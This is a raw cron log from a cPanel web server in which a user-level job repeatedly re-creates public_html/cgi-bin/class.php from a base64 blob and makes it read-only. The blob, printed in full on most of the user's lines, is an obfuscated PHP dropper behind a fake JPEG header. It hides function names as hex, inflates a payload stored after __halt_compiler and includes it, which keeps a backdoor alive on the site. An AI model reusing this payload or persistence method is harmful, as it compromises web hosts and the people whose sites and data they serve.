Sep 10 22:21:01 server CROND[11913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:21:01 server CROND[11911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:22:01 server CROND[12304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:22:01 server CROND[12303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:22:01 server CROND[12305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:23:01 server CROND[12807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:23:01 server CROND[12808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:23:01 server CROND[12809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:24:02 server CROND[13185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:24:02 server CROND[13187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:24:02 server CROND[13186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:25:01 server CROND[13556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:25:01 server CROND[13558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:25:01 server CROND[13559]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:25:01 server CROND[13561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:25:01 server CROND[13563]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:25:01 server CROND[13562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:25:01 server CROND[13564]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 22:25:01 server CROND[13565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:26:01 server CROND[14402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:26:01 server CROND[14403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:26:01 server CROND[14401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:27:01 server CROND[14772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:27:01 server CROND[14773]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 22:27:01 server CROND[14774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:27:01 server CROND[14776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:28:01 server CROND[15159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:28:01 server CROND[15160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:28:01 server CROND[15161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:29:01 server CROND[15721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:29:01 server CROND[15722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:29:01 server CROND[15723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:30:01 server CROND[16107]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:30:01 server CROND[16108]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:30:01 server CROND[16111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:30:01 server CROND[16112]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:30:01 server CROND[16117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:30:01 server CROND[16118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:30:01 server CROND[16119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:30:01 server CROND[16116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:31:01 server CROND[16964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:31:01 server CROND[16965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:31:01 server CROND[16966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:32:01 server CROND[17359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:32:01 server CROND[17360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:32:01 server CROND[17362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:33:01 server CROND[17746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:33:01 server CROND[17747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:33:01 server CROND[17748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:34:01 server CROND[18217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
